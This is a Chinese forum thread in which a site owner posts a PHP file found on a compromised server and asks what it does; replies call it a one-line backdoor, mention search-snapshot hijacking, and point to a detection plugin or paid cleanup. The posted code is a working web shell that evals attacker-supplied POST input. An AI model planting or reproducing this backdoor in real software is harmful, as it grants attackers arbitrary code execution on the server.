服務器被掛馬，掃出來一堆這樣內容的文件

paladinet

1. <?php
   
2. function &a()
   
3. {
   
4.          static $b=0;
   
5.          return $b;
   
6. }
   
7. $aa=500;
   
8. $aa=&a();
   
9. $aa="".@$_POST["abituz279"];
   
10. eval(a());
    
11. ?>

復制代碼

服務器上有文件是這樣的內容，高手指點下壞人想做什么？

我知道答案 回答被采納將會獲得1 貢獻 已有5人回答

鴻茂傳媒

服務器已經被入侵了，加強防御，一般被黑，大部分都是劫持百度快照居多。

paladinet

劫持百度快照，我如何才能檢測到？然后我再如何操作呢？望高人指點！

paladinet

鴻茂傳媒 發表于 2020-3-12 19:32
服務器已經被入侵了，加強防御，一般被黑，大部分都是劫持百度快照居多。 ...

望高人指點！

耗子

  可以聯系我的QQ交談 專業清理discuz 木馬

1314學習網

一句話后門，可以執行任意php代碼

免費的 Discuz劫持檢測插件：http://addon.discuz.com/?@freeaddon_snapshot.plugin

可以有償排查清理加固服務器